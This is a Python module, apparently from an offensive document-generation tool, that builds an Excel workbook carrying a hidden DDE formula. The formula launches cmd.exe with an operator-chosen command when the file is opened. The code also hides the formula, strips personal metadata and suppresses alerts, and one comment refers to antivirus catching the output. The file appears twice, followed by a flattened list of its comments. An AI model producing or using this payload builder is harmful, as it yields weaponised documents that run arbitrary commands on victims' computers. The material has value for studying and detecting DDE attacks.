<filename>src/modules/excel_dde.py
#!/usr/bin/env python
# encoding: utf-8

# Only enabled on windows
import sys
from collections import OrderedDict
if sys.platform == "win32":
    # Download and install pywin32 from https://sourceforge.net/projects/pywin32/files/pywin32/
    import win32com.client # @UnresolvedImport

import logging
from modules.excel_gen import ExcelGenerator
from common import utils


class ExcelDDE(ExcelGenerator):
    """ 
    Module used to generate MS ecel file with DDE object attack
    """
         
    
    def run(self):
        logging.info(" [+] Generating MS Excel with DDE document...")
        try:
            # Get command line
            paramDict = OrderedDict([("Cmd_Line",None)])      
            self.fillInputParams(paramDict)
            command = paramDict["Cmd_Line"]
            
            
            logging.info("   [-] Open document...")
            # open up an instance of Excel with the win32com driver\        \\
            excel = win32com.client.Dispatch("Excel.Application")
            # do the operation in background without actually opening Excel
            #excel.Visible = False
            workbook = excel.Workbooks.Open(self.outputFilePath)
    
            logging.info("   [-] Inject DDE field (Answer 'No' to popup)...")
            
            ddeCmd = r"""=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c %s'!A1""" % command.rstrip()
            excel.Cells(1, 26).Formula = ddeCmd
            excel.Cells(1, 26).FormulaHidden = True
            
            # Remove Informations
            logging.info("   [-] Remove hidden data and personal info...")
            xlRDIAll=99
            workbook.RemoveDocumentInformation(xlRDIAll)
            logging.info("   [-] Save Document...")
            excel.DisplayAlerts=False
            excel.Workbooks(1).Close(SaveChanges=1)
            excel.Application.Quit()
            
            # garbage collection
            del excel
            logging.info("   [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath))
         
        except Exception:
            logging.exception(" [!] Exception caught!")
            logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files")
            logging.error(" [!] Attempt to force close MS Excel applications...")
            objExcel = win32com.client.Dispatch("Excel.Application")
            objExcel.Application.Quit()
            del objExcel
            # If it Application.Quit() was not enough we force kill the process
            if utils.checkIfProcessRunning("Excel.exe"):
                utils.forceProcessKill("Excel.exe")
            
        
<filename>src/modules/excel_dde.py
#!/usr/bin/env python
# encoding: utf-8

# Only enabled on windows
import sys
from collections import OrderedDict
if sys.platform == "win32":
    # Download and install pywin32 from https://sourceforge.net/projects/pywin32/files/pywin32/
    import win32com.client # @UnresolvedImport

import logging
from modules.excel_gen import ExcelGenerator
from common import utils


class ExcelDDE(ExcelGenerator):
    """ 
    Module used to generate MS ecel file with DDE object attack
    """
         
    
    def run(self):
        logging.info(" [+] Generating MS Excel with DDE document...")
        try:
            # Get command line
            paramDict = OrderedDict([("Cmd_Line",None)])      
            self.fillInputParams(paramDict)
            command = paramDict["Cmd_Line"]
            
            
            logging.info("   [-] Open document...")
            # open up an instance of Excel with the win32com driver\        \\
            excel = win32com.client.Dispatch("Excel.Application")
            # do the operation in background without actually opening Excel
            #excel.Visible = False
            workbook = excel.Workbooks.Open(self.outputFilePath)
    
            logging.info("   [-] Inject DDE field (Answer 'No' to popup)...")
            
            ddeCmd = r"""=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c %s'!A1""" % command.rstrip()
            excel.Cells(1, 26).Formula = ddeCmd
            excel.Cells(1, 26).FormulaHidden = True
            
            # Remove Informations
            logging.info("   [-] Remove hidden data and personal info...")
            xlRDIAll=99
            workbook.RemoveDocumentInformation(xlRDIAll)
            logging.info("   [-] Save Document...")
            excel.DisplayAlerts=False
            excel.Workbooks(1).Close(SaveChanges=1)
            excel.Application.Quit()
            
            # garbage collection
            del excel
            logging.info("   [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath))
         
        except Exception:
            logging.exception(" [!] Exception caught!")
            logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files")
            logging.error(" [!] Attempt to force close MS Excel applications...")
            objExcel = win32com.client.Dispatch("Excel.Application")
            objExcel.Application.Quit()
            del objExcel
            # If it Application.Quit() was not enough we force kill the process
            if utils.checkIfProcessRunning("Excel.exe"):
                utils.forceProcessKill("Excel.exe")
            
        
#!/usr/bin/env python # encoding: utf-8 # Only enabled on windows # Download and install pywin32 from https://sourceforge.net/projects/pywin32/files/pywin32/ # @UnresolvedImport Module used to generate MS ecel file with DDE object attack # Get command line # open up an instance of Excel with the win32com driver\        \\ # do the operation in background without actually opening Excel #excel.Visible = False =MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c %s'!A1 # Remove Informations # garbage collection # If it Application.Quit() was not enough we force kill the process